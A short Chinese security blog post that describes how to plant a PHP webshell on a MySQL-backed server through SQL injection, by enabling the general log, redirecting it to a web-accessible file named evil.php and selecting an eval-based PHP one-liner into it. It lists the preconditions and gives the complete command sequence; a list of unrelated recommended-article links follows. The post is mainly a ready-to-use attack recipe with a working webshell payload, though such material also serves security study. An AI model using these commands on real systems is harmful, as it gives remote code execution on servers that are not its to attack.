WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
愿时间能学会宽恕4 分钟前
SpringBoot后端开发常用工具详细介绍——SpringSecurity认证用户保证安全
spring boot·后端·安全
阿里嘎多哈基米9 小时前
SQL 层面行转列
数据库·sql·状态模式·mapper·行转列
Highcharts.js10 小时前
Highcharts 数据源安全最佳实践:保障数据安全,助力可视化可信部署
安全·highcharts
Suckerbin11 小时前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全
雨落Liy11 小时前
SQL 函数从入门到精通:原理、类型、窗口函数与实战指南
数据库·sql
水兵没月11 小时前
解决Win11 安全中心删掉存在隐患的工具
安全
码农101号12 小时前
运维安全04 - iptable的介绍以及使用
安全
李白你好12 小时前
CyberPoC 是一个现代化的网络安全练习和竞赛平台,支持容器化部署的安全挑战,为用户提供实践网络安全技能的环境。
web安全
三毛200413 小时前
玳瑁的嵌入式日记D33-0908(SQL数据库)
jvm·数据库·sql
TDengine (老段)15 小时前
TDengine 选择函数 Last() 用户手册
大数据·数据库·sql·物联网·时序数据库·tdengine·涛思数据